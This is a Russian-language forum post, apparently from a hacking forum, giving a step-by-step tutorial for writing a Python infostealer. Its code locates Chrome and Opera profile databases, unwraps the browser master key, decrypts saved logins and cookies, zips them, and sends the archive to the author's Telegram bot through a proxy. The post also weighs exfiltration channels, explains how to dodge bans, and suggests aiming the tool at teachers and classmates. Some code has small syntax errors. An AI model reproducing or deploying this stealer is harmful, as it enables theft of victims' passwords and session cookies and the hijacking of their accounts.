• Добро пожаловать на сайт - Forumteam.bet !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

Пишем стиллер на Python-е, гайд (80+)

Chollongarn

Эксперт
Эксперт
Регистрация
13.07.19
Веб-сайт
vk.com
В этой статье будет показано, рассказано, и доказано, как написать свой стиллер на Python-e





Для работы нам понадобятся:


1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней (на момент написания статьи) версии

https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe

2)Также потребуется среда разработки, для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains

https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC


1)качаете питон, устанавливаете с правами админа.

2)качаете среду, устанавливаете, запускаете.





Запускаем Pycharm, если еще не запустили.

Видим такое окно.


9a126d0c9279.png



Жмем Create Project

Выбираем название нашего проекта, питон на компьютере (если вы его установили) среда найдет автоматически

Жмем create

Поздравляю, проект создан





После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter





Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package





Также делаем со следующими библиотеками:

-pyasn1

-rsa

-pycryptodome

-pywin32

-psutil


Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его





Поздравляю, самое сложное позади.





Импортируем следующие библиотеки


import os

import sqlite3

import zipfile

import requests

from ctypes import *

from winreg import *

from json import load

from os import listdir

from shutil import copy

from struct import calcsize

from base64 import b64decode

from Crypto.Cipher import AES

from psutil import process_iter

from win32api import GetModuleHandle

from win32crypt import CryptUnprotectData


Обозначаем точку входа программы


знаю что она необязательна, мне просто нравится ее писать

code


if __name__ == "__main__":


теперь составляем дефолтные пути до браузеров


chromium_browsers = {

u'google chrome': os.getenv("LOCALAPPDATA") + r'\Google\Chrome\User Data',

u'opera': os.getenv("APPDATA") + r'\Opera Software\Opera Stable',

u'yandexBrowser': os.getenv("LOCALAPPDATA") + r'\Yandex\YandexBrowser\User Data'

}


Ищем базы, расшифровываем, сохраняем.

Все обьяснения будут в виде комментариев в коде, иначе до конца никто не дочитает


PasswordsArray = []#Здесь будут логины пароли

CookiesDict = {}#Тут будут куки в формате browser : [cookArray]


def db_dirs(path):#Передаем путь к браузеру

databases = set()#Обьявляем список

profiles_path = os.path.join(path, u'Local State')#

if os.path.exists(profiles_path):#

profiles = {'Default', ''}#

for dirs in os.listdir(path):#Ищет профили

dirs_path = os.path.join(path, dirs)#

if os.path.isdir(dirs_path) and dirs.startswith('Profile'):#

profiles.add(dirs)#

with open(profiles_path) as f:

try:

data = load(f)

profiles |= set(data['profile']['info_cache'])#Нужно для получения мастер-ключа

except Exception:

pass

with open(profiles_path) as f:

try:

master_key = b64decode(load(f)["os_crypt"]["encrypted_key"])

master_key = master_key[5:]

master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]#О, мастер-ключ

except Exception:

master_key = None

for profile in profiles:

try:

db_files = os.listdir(os.path.join(path, profile))

except Exception:

continue

for db in db_files:

if db.lower() in ['login data','cookies']:

databases.add((os.path.join(path, profile, db), master_key))#Возвращаем пути до всех бд которые удалось найти

return databases



def decryption(buff, key):#Нужна для декрипта, просто скопипасть, не парься

payload = buff[15:]

iv = buff[3:15]

cipher = AES.new(key, AES.MODE_GCM, iv)

decrypted_pass = cipher.decrypt(payload)

decrypted_pass = decrypted_pass[:-16].decode()

return decrypted_pass


def passwords(name, path, database_path, master_key):#Ну пароли дешифрует, чо, какие вопросы

copy(path, database_path)

cursor = sqlite3.connect(database_path).cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

for result in cursor.fetchall():

url = result[0]

login = result[1]

try:

password = decryption(result[2], master_key)

except Exception:

password = "Error"

if url and login and password != '':

PasswordsArray.append(

'Browser: ' + name + '\nLink: ' + url + '\nLogin: ' + login + '\nPassword: ' + password + '\n')


def cookies(name, path, database_path, master_key):

Cookies = [] #Куки добавляются сюда

copy(path, database_path)#Копируем базу

cursor = sqlite3.connect(database_path).cursor()#Коннектимся к базе

cursor.execute("SELECT * from cookies")#Читаем куки

for result in cursor.fetchall():

try:

cookie = decryption(result[12], master_key)#Декриптим куки

except Exception:

return

cookie_name = result[2]

exp = result[5]

if result[6]:#Достаем значения для записи в net-scape формат

secure = "TRUE"

else:

secure = "FALSE"

if result[7]:

isHttp = "TRUE"

else:

isHttp = "FALSE"

path = result[4]

url = result[1].replace("https://", "").replace("http://", "").split("/")[0]

Cookies.append((url + "\t" + secure + "\t" + path + "\t" + isHttp + "\t" + str(#Записываем куки в net-scape формате

exp / 1000000) + "\t" + cookie_name + "\t" + str(cookie)))

for i in range(0, 100):

if i >= 1:

if name + str(i) in CookiesDict:#короч эта штука

continue#если найдено несколько профилей

else:

CookiesDict[name + str(i)] = Cookies#то записывает куки

break

else:

if name in CookiesDict:#с одного браузера

continue

else:

CookiesDict[name] = Cookies#В разные текстовики

break




def helper(name, path, database_path, master_key):

if database_path.endswith("Cookies"):#Оп, куки

copyPath = path + '\Backup Cookies'#Копируем бд, ибо читать из оригинала, когда запущен браузер, нельзя

cookies(name, database_path, copyPath, master_key)#Дешифруем куки


if database_path.endswith("Login Data"):#Оп, пароли

copyPath = path + '\Backup Password'

passwords(name, database_path, copyPath, master_key)#Дешифруем пароли





if __name__ == "__main__": #Точка входа в программу


chromium_browsers = { #Пути до браузеров

u'google chrome': os.getenv("LOCALAPPDATA") + r'\Google\Chrome\User Data', #Хром

u'opera': os.getenv("APPDATA") + r'\Opera Software\Opera Stable'}#Опера

}


for browser, path in chromium_browsers.items():

if os.path.exists(path):#Есть ли браузер

for database_path, master_key in db_dirs(path):#Функция поиска баз и мастер-ключа

helper(browser, path, database_path, master_key)#Отправляет куки в декод куков, пароли в декод паролей



try:

os.makedirs(os.getenv("TEMP") + '\\Debug\\')#Здесь будет наш архив

except OSError:

pass

path_main = os.getenv("TEMP") + '\\Debug\\'



zipload = zipfile.ZipFile(os.path.join(path_main, "MyZip" + ".zip"), 'w')#Создаем архив и насовываем ему наши данные



if (len(PasswordsArray) > 0):

file = open(os.path.join(path_main, "Passwords.txt"), "w+", encoding='utf-8')

file.write("\n".join(PasswordsArray))#Пишем пароли в текстовик

file.close()

zipload.write(os.path.join(path_main, "Passwords.txt"),

"\\Browsers\\" + os.path.basename(os.path.join(path_main, "Passwords.txt")))#Суем текстовик в архив, ниже кста также


if (len(CookiesDict) > 0):

for browser, cooks in CookiesDict.items():

file = open(path_main + "\\" + browser + ".txt", "w+", encoding='utf-8')

file.write("\n".join(cooks))

file.close()

zipload.write(path_main + "\\" + browser + ".txt", "\\Cookies\\" + browser + ".txt")



zipload.close()



Отлично, мы получили куки и пароли, упаковали все в архив, осталась только отправка.

Здесь стоит остановиться, есть несколько путей:

1)Разобраться в апи какого то файлообменника (Google Disk, Yandex Disk, DropBox и тд), минус в том что если вытащат ваши данные от апи, по типу токена, тогда можете попрощаться со своими логами

2)Принимать лог себе на панель установленную на хостинге или на Дедике, самый надежный вариант, не забудьте проставить права доступа к файлам на своем хостинге. Минус в том что, если на вас будут поступать жалобы или вы возьмете публичную панель с интернета, то в первом случае вас забанят через время, во втором случае вас могут забанить перманентно и в тот же момент

3)Отправлять логи в телеграмм через прокси, хороший вариант, но есть свои минусы, почти любой может увидеть ваш токен, через тот же вирустотал, во вкладке отвечающей за взаимодействие с сетью. Лучшим решением будет отправлять лог на панель и пересылать в ваш телеграмм.


Если вы делаете для себя и хотите кидать данное ПО своим учителям и девкам с класса, то спокойно можете отправлять напрямую себе в телеграмм, в данной статье я покажу именно этот способ отправки и расскажу как обойти бан телеграмма в России





Для обхода бана телеграмма, нам нужно устанавливать соединение через прокси. Идете на любой сайт с бесплатными проксями и берете парочку, я буду показывать на примере https проксей

Также нужно будет создать бота в телеге и написать ему /start, это уже сами нагуглите


zipPath = os.path.join(path_main, "myZip" + ".zip")

token = "w123344bukvi2847982498cifriokicejo"

chat_id = "tvoychatid-ego-mojno-uznat-u-specialnix-botov"


proxy_array = ["198.27.69.175:3128"}#Твоя прокся

data = {'chat_id': chat_id}


r = requests

files = {'document': open(zipPath, 'rb')}

response = r.post("https://api.telegram.org/bot" + token + "/sendDocument", files=files, data=data,#Отправляем и никаких лишних библиотек

proxies={'https': 'https://' + proxy}, timeout=(1, 10))

Поздравляю, вы отправили лог себе в телеграмм, впервые рады звуку уведомления?
 
Сверху Снизу